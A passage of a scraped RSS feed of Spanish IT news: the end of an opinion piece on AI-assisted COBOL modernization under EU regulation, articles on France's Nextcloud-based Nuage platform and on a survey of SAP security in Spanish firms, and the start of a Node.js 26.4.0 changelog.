<p>La IA está acelerando proyectos de modernización que antes exigían meses de análisis. Pero en las organizaciones más reguladas aparece enseguida una realidad incómoda: el riesgo ya no está en convertir el código, sino en demostrar que la versión nueva sigue haciendo exactamente lo que hacía la anterior.</p>



<p>Casi todos los comités de dirección han tomado la misma decisión este año: aplicar inteligencia artificial a sus sistemas. Y casi todos descubren lo mismo cuando bajan al detalle. La IA es fácil de añadir en la periferia —un <em>chatbot</em>, un copiloto, un cuadro de mando— y muy difícil de meter donde de verdad importa, que es el núcleo heredado. En banca, en seguros, en buena parte de la Administración, ese núcleo sigue siendo COBOL sobre mainframe, con décadas de parches encima y una documentación que, siendo generosos, es incompleta.</p>



<p>Ahí es exactamente donde se concentra el riesgo regulatorio. Y ahí es donde más proyectos descarrilan.</p>



<p>Llevo tres décadas en sectores regulados y el patrón se repite. El equipo de IT aborda la modernización como un problema de <em>delivery</em> —entregar rápido, cerrar tickets, pasar a producción— cuando en un sector supervisado el problema es de <em>compliance</em>. No se mide por lo que entregas, sino por lo que puedes defender. Cambiar ese chip es la mitad del trabajo.</p>



<h2 class="wp-block-heading">El espejismo del COBOL traducido</h2>



<p>La promesa es seductora. Hoy un modelo de lenguaje lee miles de líneas de COBOL, las documenta, las explica y propone una equivalencia en Java o en Python en una fracción del tiempo que costaría a un equipo humano. Funciona. Lo he visto acelerar análisis que antes llevaban semanas.</p>



<p>El problema no es el código. El problema son las reglas de negocio que nadie escribió nunca. En un proyecto de migración en un entorno bancario altamente regulado, el mayor riesgo no estaba en las rutinas, sino en una excepción de cálculo que llevaba quince años funcionando y que no figuraba en ningún documento: vivía solo en el código y en la cabeza de un analista ya jubilado. Cuando se le pide a un modelo que “traduzca” eso, no traduce: rellena el hueco con lo que estadísticamente parece correcto. Y lo hace con una seguridad impecable.</p>



<p>En un cuadro de mando, una alucinación es un error molesto. En el motor de cálculo de una entidad financiera es una incidencia de cumplimiento, una reclamación de cliente y, potencialmente, una sanción del supervisor.</p>



<p>La tentación, precisamente porque la herramienta es tan rápida, es saltarse la parte lenta: la reconstrucción de esa lógica con quien la conoce. Es la peor decisión posible. La velocidad de la IA seduce justo en el punto donde más caro sale equivocarse.</p>



<h2 class="wp-block-heading">Lo que el regulador espera (y lo que cambió en mayo)</h2>



<p><a href="https://www.computerworld.es/article/3804799/dora-entra-en-vigor-es-una-norma-disenada-por-tecnologos-y-dirigida-a-tecnologos.html">DORA </a>está en vigor desde enero de 2025 y es muy claro: resiliencia operativa, gestión de activos TIC, continuidad de negocio y control del riesgo de terceros. Modernizar el núcleo toca las cuatro cosas a la vez. NIS2 añade la capa de seguridad y notificación. Y el Reglamento de IA introduce su propio marco cuando el sistema que despliegas es de alto riesgo.</p>



<p>Aunque DORA, <a href="https://www.computerworld.es/article/4123680/nis2-del-diagnostico-al-reto-real-de-ejecutar-la-ciberseguridad.html">NIS2 </a>y el <a href="https://www.computerworld.es/article/4031130/analisis-del-reglamento-europeo-de-ia-un-ano-despues-de-su-entrada-en-vigor.html">Reglamento de IA</a> persiguen objetivos distintos, comparten una exigencia común: poder demostrar control, trazabilidad y responsabilidad sobre los sistemas que se despliegan. Esa es la pieza que conecta los tres marcos, y la que un proyecto de modernización tiene que proteger desde el primer día.</p>



<p>Aquí conviene deshacer un malentendido reciente. Con el acuerdo del <a href="https://data.europa.eu/en/news-events/news/eu-digital-omnibus-update-simplifying-europes-digital-rulebook" target="_blank" rel="nofollow">Digital Omnibus</a> de mayo de 2026, las obligaciones de alto riesgo del Anexo III se aplazan a diciembre de 2027. Muchos directivos han leído el titular —”la UE retrasa la Ley de IA”— como una tregua. Es una lectura peligrosa. Las obligaciones de transparencia siguen aplicándose en agosto de 2026, el marcado de contenido sintético llega en diciembre de 2026 y, sobre todo, el riesgo subyacente no se mueve ni un día. Una decisión automatizada errónea en 2026 sigue cayendo bajo el RGPD, bajo la normativa sectorial y bajo el supervisor de turno. El plazo se ha movido; la responsabilidad, no.</p>



<h2 class="wp-block-heading">Cómo hacerlo sin disparar el riesgo</h2>



<p>No tengo una fórmula mágica, pero sí cinco principios que aplico en cada proyecto de este tipo.</p>



<p><strong>Primero, inventariar antes de modernizar.</strong> No se puede asegurar ni migrar lo que no se ha mapeado. Activos, dependencias, flujos de datos: si no existe ese mapa, el primer entregable del proyecto es construirlo, no escribir código.</p>



<p><strong>Segundo, la IA propone, una persona valida.</strong> El modelo acelera el análisis y el primer borrador de la transformación. La regla de negocio crítica la confirma un ingeniero que entiende el negocio, no el modelo. Donde no haya quien la entienda, se reconstruye con el área de negocio antes de tocar nada.</p>



<p><strong>Tercero, trazabilidad de extremo a extremo.</strong> Cada transformación generada por IA debe quedar registrada: qué entró, qué salió, quién lo aprobó y por qué. Eso no es burocracia; es exactamente lo que el auditor pedirá, y es lo que convierte un cambio en defendible.</p>



<p><strong>Cuarto, cuidado con dónde va el código.</strong> Volcar fuentes del núcleo en un modelo externo es una transferencia de datos y un problema de confidencialidad antes que una cuestión técnica. DORA exige controlar al tercero; el RGPD, controlar el dato. Esa decisión se toma al principio del proyecto, no cuando ya está hecho.</p>



<p><strong>Quinto, gobernar el <em>shadow AI</em>.</strong> Si la organización no ofrece una vía segura para usar IA, los equipos la usarán igual, por su cuenta y sin control. La gobernanza no consiste en prohibir, sino en dar un camino habilitado.</p>



<h2 class="wp-block-heading">El liderazgo tecnológico ha cambiado</h2>



<p>En un sector regulado, el reto del CIO ya no consiste únicamente en modernizar los sistemas heredados, sino en hacerlo de una forma que resista el escrutinio de auditores, reguladores y comités de riesgo. Dirigir uno de estos proyectos ya no es coordinar entregas: es hacer que la transformación sea defendible. Significa decir que no a un atajo que ahorraría dos semanas, pero dejaría un hueco sin trazabilidad. Significa tratar la gobernanza como un acelerador —porque un cambio bien documentado se aprueba antes— y no es un freno.</p>



<p>La IA es una palanca extraordinaria para sacar a las organizaciones de su deuda técnica heredada. Pero en banca, seguros o Administración, la velocidad sin control no es una ventaja: es un pasivo que aflora en la primera inspección. Modernizar rápido puede ser una ventaja competitiva; modernizar con trazabilidad, control y capacidad de defensa es lo que la hace sostenible.</p>



<p>Por eso resumo así lo que llevo aprendido en estos años: una solución segura no es la más lenta ni la más cara. Es la que sobrevive a la primera auditoría.</p>



&gt;<figure class="wp-block-media-text__media"><img decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/jose-enrique-ibarra-ai-project-manager.webp?w=768" alt="José Enrique Ibarra, CIO interim y AI Project Manager" class="wp-image-4189993 size-full" loading="lazy" width="400px"></figure><div class="wp-block-media-text__content">
<p><strong><em><a href="https://joseenrique.es/" rel="nofollow">José Enrique Ibarra</a> es CIO interim y AI Project Manager, con tres décadas dirigiendo TI en sectores regulados —banca, seguros, energía y administración pública—. Su foco es gobernar la transformación digital y la adopción de IA bajo el Reglamento de IA, DORA, NIS2, RGPD, ISO 27001 y el ENS, de forma que resista el escrutinio de auditores y reguladores. Impulsa AI Forge, su iniciativa de IA aplicada. Reside en Almería. </em></strong></p>
</div></div>



<p></p>
</div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La apuesta francesa por la soberanía digital: una plataforma de código abierto para 400.000 usuarios en el Ministerio de Educación]]></title>
<description><![CDATA[Francia está trabajando en reducir su dependencia de proveedores tecnológicos no europeos en el sector público, y para ello ha apostado por el software de código abierto, que está adquiriendo un papel cada vez más destacado en la región. 



Uno de los proyectos que está desplegando es Nuage, una...]]></description>
<link>https://tsecurity.de/de/3627242/it-nachrichten/la-apuesta-francesa-por-la-soberana-digital-una-plataforma-de-cdigo-abierto-para-400000-usuarios-en-el-ministerio-de-educacin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627242/it-nachrichten/la-apuesta-francesa-por-la-soberana-digital-una-plataforma-de-cdigo-abierto-para-400000-usuarios-en-el-ministerio-de-educacin/</guid>
<pubDate>Fri, 26 Jun 2026 13:47:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Francia está trabajando en reducir su dependencia de proveedores tecnológicos no europeos en el sector público, y para ello ha apostado por el software de código abierto, que está adquiriendo un papel cada vez más destacado en la región. </p>



<p>Uno de los proyectos que está desplegando es Nuage, una plataforma de almacenamiento e intercambio de archivos desarrollada por el Ministerio de Educación Nacional para docentes, personal administrativo y otros empleados. Aunque está dirigida a los 1,2 millones de trabajadores del Ministerio, actualmente cuenta con 400.000 cuentas activas, y alrededor de dos tercios de los usuarios acceden al servicio cada semana.</p>



<p>Cada usuario dispone de 100 GB de almacenamiento para documentos, PDF, vídeos e imágenes, aunque el uso medio se sitúa en torno a los 3 GB. Además, la plataforma permite compartir y editar documentos de forma colaborativa.</p>



<h2 class="wp-block-heading">El código abierto como modelo para otros</h2>



<p>El proyecto del Ministerio es un ejemplo de cómo el software de código abierto puede utilizarse a gran escala y servir de modelo para otras organizaciones que buscan reforzar su soberanía digital. El interés por este enfoque ha aumentado en los últimos meses debido a las tensiones geopolíticas y comerciales, así como al creciente temor en Europa de que la Administración Trump pueda restringir de forma repentina el acceso a determinadas tecnologías.</p>



<p>Para la administración francesa, Nuage permite al Ministerio mantener el control sobre los datos sensibles relacionados con los estudiantes que almacenan los docentes, explica Benoît Piédallu, responsable nacional de proyectos de servicios digitales del Ministerio de Educación Nacional de Francia.</p>



<p>“No queríamos que estos datos fueran a Estados Unidos, a Microsoft o a otros sistemas similares. Para nosotros era importante que permanecieran en nuestras propias instalaciones”, afirma Piédallu.</p>



<p>El coste también ha sido un factor determinante. Según Piédallu, el Ministerio puede destinar aproximadamente 10 euros por usuario al año al proyecto. “Mi presupuesto para la plataforma es inferior a dos millones de euros anuales, por lo que el precio es, por supuesto, una cuestión muy importante”, señala.</p>



<p>El equipo de servicios digitales del Ministerio ha sido responsable tanto del diseño como de la puesta en marcha de Nuage. Los trabajos se desarrollaron desde el despliegue inicial en 2020 hasta el lanzamiento de la versión definitiva en 2022.</p>



<p>“El principal reto de desplegar una plataforma de código abierto es que tenemos que hacerlo todo nosotros mismos”, explica, en referencia a la gestión de máquinas virtuales, la instalación de Linux Debian y la configuración del entorno. “Necesitamos administrar toda la infraestructura y, por supuesto, instalar y configurar Nextcloud”.</p>



<p>El Ministerio cuenta con dos empleados dedicados a la gestión de la plataforma de almacenamiento y un tercero responsable de la infraestructura. Nuage está alojada en dos centros de datos estatales: uno cerca de París y otro en el sur del país, próximo a los Pirineos.</p>



<p>Las funciones de almacenamiento y sincronización de archivos se basan en Nextcloud Files, desarrollado por la empresa alemana Nextcloud. Además, Nuage incorpora un editor documental basado en Nextcloud Office, que utiliza tecnología de código abierto de Collabora.</p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>El Gobierno francés ha anunciado planes para sustituir Windows por Linux en determinadas áreas de la Administración pública</strong></em></p></blockquote></figure>



<h2 class="wp-block-heading">La adopción sigue creciendo</h2>



<p>Piédallu considera que la elevada adopción del servicio demuestra su éxito. De los 400.000 usuarios activos, alrededor de 80.000 utilizan el cliente de sincronización de archivos en el escritorio. En total, Nuage almacena 570 millones de documentos y 1,2 petabytes de datos.</p>



<p>Este nivel de implantación se ha logrado prácticamente sin campañas internas de promoción. “No hemos realizado ninguna comunicación nacional importante para animar a los usuarios a utilizar el servicio ni para informarles de que disponen de 100 GB de almacenamiento”, explica.</p>



<p>A pesar de ello, la adopción sigue aumentando, hasta el punto de que cada mes es necesario incorporar unos 40 terabytes adicionales de capacidad de almacenamiento para atender la demanda. “Tenemos un crecimiento muy lineal. Es increíble verlo”, afirma.</p>



<p>Sin embargo, el aumento de los costes del hardware de almacenamiento ha llevado al Ministerio a intentar moderar el ritmo de crecimiento para evitar mayores inversiones en infraestructura. “Si mañana hiciera una campaña de comunicación, aceleraría el uso, y sé que tengo un límite en mi centro de datos”.</p>



<p>Incluso sin impulsar activamente la adopción, el Ministerio prevé alcanzar 600.000 usuarios antes de que finalice el año.</p>



<p>Aunque el equipo de servicios digitales no dispone de una visibilidad completa sobre la percepción de la plataforma, Piédallu asegura que la respuesta es positiva. El sistema de almacenamiento y sincronización funciona de manera prácticamente transparente para los usuarios y ofrece un rendimiento estable, salvo algunos problemas ocasionales de sincronización. “Están muy satisfechos. No hacen comparaciones con Google Drive o OneDrive; simplemente funciona”.</p>



<p>La recepción de la <em>suite </em>ofimática basada en Collabora, sin embargo, ha sido menos favorable, en parte porque su interfaz resulta poco familiar para muchos usuarios. “Cuando quieren editar documentos o trabajar con una hoja de cálculo, esperan que funcione exactamente igual que lo que ya conocen. Si utilizan Microsoft Office, quieren las mismas opciones y la misma experiencia”.</p>



<p>Las administraciones locales y los distritos escolares no están obligados a utilizar Nuage; pueden optar por desplegar la plataforma o recurrir a software propietario. De hecho, herramientas como Microsoft SharePoint y la suite Microsoft Office siguen utilizándose ampliamente, aunque no existen cifras oficiales sobre su nivel de uso. El Ministerio, por ejemplo, destina alrededor de 2,5 millones de euros al año a licencias de Windows para unos 50.000 dispositivos.</p>



<h2 class="wp-block-heading">La búsqueda de independencia tecnológica</h2>



<p>La soberanía digital se ha convertido en una prioridad creciente tanto para el Ministerio como para el conjunto del sector público francés, según Piédallu. “Hace unos años, el software libre y los bienes digitales comunes eran la prioridad; ahora lo es la soberanía digital: desplegar herramientas soberanas que podamos operar nosotros mismos y que no incluyan mecanismos de interrupción remota (‘kill switch’), entre otras cosas”.</p>



<p>Añade que se trata de una línea estratégica impulsada tanto desde la Administración como desde el ámbito político. Nuage es solo una de las múltiples iniciativas de código abierto en marcha en el sector público francés. Entre otras destaca LaSuite, una suite de productividad y colaboración desarrollada por la Dirección Interministerial de Asuntos Digitales (DINUM), que incluye servicios como la aplicación de mensajería Tchap y la plataforma de videoconferencia Visio.</p>



<p>Asimismo, el Gobierno francés ha anunciado planes para sustituir Windows por Linux en determinadas áreas de la Administración pública. Piédallu considera que las organizaciones públicas que estudian adoptar software de código abierto deberían apoyarse en la experiencia de otras entidades que ya han recorrido ese camino. También cree que muchos directivos sobreestiman la dificultad de abandonar tecnologías consolidadas.</p>



<p>“La mayoría de los responsables de decisión creen que será muy difícil. Evidentemente, hay trabajo por hacer para gestionar el cambio, ayudar a las personas y asegurarse de que todo está bien planificado”, afirma. “Pero al final es posible. Es algo que podemos hacer”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Casi nueve de cada diez empresas españolas usuarias de SAP están desprotegidas ante las nuevas amenazas sobre el ERP]]></title>
<description><![CDATA[El estudio ‘Ciberseguridad en SAP 2026’, realizado por la consultora española Seidor en el segundo trimestre de 2026, mediante encuestas a responsables de tecnología, ciberseguridad y riesgo de medio centenar de organizaciones españolas usuarias de SAP con una facturación superior a 100 millones ...]]></description>
<link>https://tsecurity.de/de/3626613/it-security-nachrichten/casi-nueve-de-cada-diez-empresas-espaolas-usuarias-de-sap-estn-desprotegidas-ante-las-nuevas-amenazas-sobre-el-erp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626613/it-security-nachrichten/casi-nueve-de-cada-diez-empresas-espaolas-usuarias-de-sap-estn-desprotegidas-ante-las-nuevas-amenazas-sobre-el-erp/</guid>
<pubDate>Fri, 26 Jun 2026 09:35:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El estudio ‘Ciberseguridad en SAP 2026’, realizado por la consultora española Seidor en el segundo trimestre de 2026, mediante encuestas a responsables de tecnología, ciberseguridad y riesgo de medio centenar de organizaciones españolas usuarias de SAP con una facturación superior a 100 millones de euros, muestra hasta qué punto las empresas están preparadas para una nueva tipología de riesgos, menos visible que los ataques tradicionales.</p>



<p>En concreto, el informe revela que el 88% de las empresas usuarias de SAP están desprotegidas ante las nuevas amenazas sobre el ERP, el sistema mediante el cual se gestionan procesos críticos como pagos, proveedores, pedidos, precios, información financiera o datos de clientes y productos.</p>



<p>Esta desprotección, apunta el informe, “no se explica por una falta de vigilancia”, pues el 90% de las organizaciones analizadas afirma vigilar su entorno SAP de forma permanente. La brecha, señalan los responsables del estudio, aparece en otro punto: “Solo el 12% declara capacidad para detectar a tiempo fraudes o manipulaciones cuando esas amenazas se presentan como una actividad aparentemente legítima dentro del propio ERP, en lugar de como un ataque evidente”, relata.</p>



<h2 class="wp-block-heading">El eslabón más débil: la identidad digital</h2>



<p>El informe apunta que las nuevas amenazas sobre SAP se diferencian por su capacidad para actuar dentro de la operativa diaria. En este sentido, pueden sostenerse sobre usuarios aparentemente válidos, permisos existentes, cambios en datos críticos o peticiones que parecen proceder de una identidad legítima. “Por eso, el riesgo ya no se limita a accesos no autorizados o acciones bloqueadas por el sistema, sino que puede aparecer en operaciones permitidas que no responden al contexto del negocio”, indica el informe.</p>



<p>Una dificultad que se agrava con la inteligencia artificial ofensiva, que es percibida por el 66% de las organizaciones como un riesgo “relevante o muy importante” para su entorno SAP, al hacer más verosímiles los intentos de suplantación, fraude o manipulación. “En este escenario, la defensa del ERP exige reforzar la gobernanza de la identidad digital: quién accede, con qué permisos, qué operación ejecuta y si esa acción tiene sentido dentro del contexto de negocio”, recomienda el equipo de Seidor.</p>



<p>Por otro lado, el informe subraya que la protección del ERP ya no puede depender solo de alertas individuales. “Las empresas necesitan una lectura más completa de la identidad, los privilegios y la actividad dentro de SAP: quién accede, qué permiso utiliza, qué dato modifica, qué operación ejecuta y en qué momento lo hace”, reza el estudio.</p>



<h2 class="wp-block-heading">Aumento de la inversión en seguridad SAP</h2>



<p>La buena noticia es que el 74% de las organizaciones consultadas dicen que aumentarán su inversión en ciberseguridad SAP en los próximos 12 meses, un dato que, según los autores del informe “confirma que las empresas son conscientes del riesgo”. El reto, según estos, está “en dirigir bien esa inversión: aumentar el presupuesto no garantiza por sí solo una mayor protección si no se orienta a las capacidades adecuadas.</p>



<p>Las prioridades, según los autores del informe, deben ser “reforzar el control sobre la identidad digital y los privilegios, conectar la información de SAP con la seguridad general de la empresa, detectar patrones concretos de fraude o manipulación y poder reconstruir un incidente con evidencias claras”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-24, Version 26.4.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes

[cde0daabcc] - (SEMVER-MINOR) doc: update blockList stability status to release candidate (alphaleadership) #63050
[b78f5a7537] - (SEMVER-MINOR) fs: support caller-supplied readFile() buffers (Matteo Collina) #63634
[417aacbc36] - (SEMVER-MINOR) http: close pre-request sockets in...]]></description>
<link>https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</guid>
<pubDate>Thu, 25 Jun 2026 01:46:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied <code>readFile()</code> buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in <code>closeIdleConnections</code> (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support <code>TCP_KEEPINTVL</code> and <code>TCP_KEEPCNT</code> in <code>setKeepAlive</code> (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch <code>node:fs/promises</code> to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal <code>node:vfs</code> subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/c7eb83b46a"><code>c7eb83b46a</code></a>] - <strong>benchmark</strong>: add child_process async path baselines (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63929/hovercard">#63929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/066fff17a5"><code>066fff17a5</code></a>] - <strong>benchmark</strong>: remove old alias usage in ffi benchmarks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63666" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63666/hovercard">#63666</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/509cd1b94f"><code>509cd1b94f</code></a>] - <strong>buffer</strong>: optimize Buffer.prototype.copy (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86e651bbd0"><code>86e651bbd0</code></a>] - <strong>buffer</strong>: use simdutf for two-byte utf8 byteLength (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63639/hovercard">#63639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3f4ed9015"><code>d3f4ed9015</code></a>] - <strong>build</strong>: suppress compiler warnings for histogram (Richard Lau) <a href="https://github.com/nodejs/node/pull/63980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63980/hovercard">#63980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82dd7ddbe6"><code>82dd7ddbe6</code></a>] - <strong>build</strong>: add QUIC CI job for PRs matching QUIC related paths (Tim Perry) <a href="https://github.com/nodejs/node/pull/63875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63875/hovercard">#63875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1124c0652d"><code>1124c0652d</code></a>] - <strong>build</strong>: remove redundant intermediate node_aix_shared (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63747/hovercard">#63747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e510ee8087"><code>e510ee8087</code></a>] - <strong>build</strong>: build codecache and snapshot with libnode (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63626/hovercard">#63626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b583dace5"><code>5b583dace5</code></a>] - <strong>build</strong>: enable maglev by default on Linux ppc64le (Richard Lau) <a href="https://github.com/nodejs/node/pull/63474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63474/hovercard">#63474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2324246b4"><code>a2324246b4</code></a>] - <strong>build</strong>: remove duplicated node_use_sqlite and node_use_ffi conditions (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63629/hovercard">#63629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a467a5f69"><code>2a467a5f69</code></a>] - <em><strong>Revert</strong></em> "<strong>build, doc</strong>: generate node.1 with doc-kit" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64091/hovercard">#64091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e01dec45b8"><code>e01dec45b8</code></a>] - <strong>build, doc</strong>: generate node.1 with doc-kit (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62044/hovercard">#62044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ab9848fe4"><code>2ab9848fe4</code></a>] - <strong>child_process</strong>: pass spawn options to the binding positionally (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63930/hovercard">#63930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04c04c8b5c"><code>04c04c8b5c</code></a>] - <strong>child_process</strong>: serialize advanced IPC messages natively (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63933" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63933/hovercard">#63933</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1eef57293d"><code>1eef57293d</code></a>] - <strong>crypto</strong>: support non-byte WebCrypto lengths and cSHAKE (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63988" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63988/hovercard">#63988</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/788a66e147"><code>788a66e147</code></a>] - <strong>crypto</strong>: share WebCrypto method and usage helpers (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63975" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63975/hovercard">#63975</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9fdce3f46"><code>f9fdce3f46</code></a>] - <strong>crypto</strong>: use EVP_MAC for HMAC on OpenSSL &gt;=3 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63942/hovercard">#63942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7e9ca87e58"><code>7e9ca87e58</code></a>] - <strong>crypto</strong>: make webcrypto aliasKeyFormat directional (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63910" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63910/hovercard">#63910</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/656e57ebbf"><code>656e57ebbf</code></a>] - <strong>crypto</strong>: fix unhandled error in Hash._transform (Haram Jeong) <a href="https://github.com/nodejs/node/pull/63261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63261/hovercard">#63261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65536f0d98"><code>65536f0d98</code></a>] - <strong>crypto</strong>: refactor keyObject.toCryptoKey() and SubtleCrypto.getPublicKey() (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63622" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63622/hovercard">#63622</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978f1d2bcc"><code>978f1d2bcc</code></a>] - <strong>crypto</strong>: handle cipher context allocation failures (Tian Teng) <a href="https://github.com/nodejs/node/pull/63542" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63542/hovercard">#63542</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5551e8f773"><code>5551e8f773</code></a>] - <strong>crypto</strong>: deduplicate X509 subject matching logic (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63644" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63644/hovercard">#63644</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57ae87640a"><code>57ae87640a</code></a>] - <strong>crypto</strong>: fix warnings in test_node_crypto.cc (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63490/hovercard">#63490</a></li>
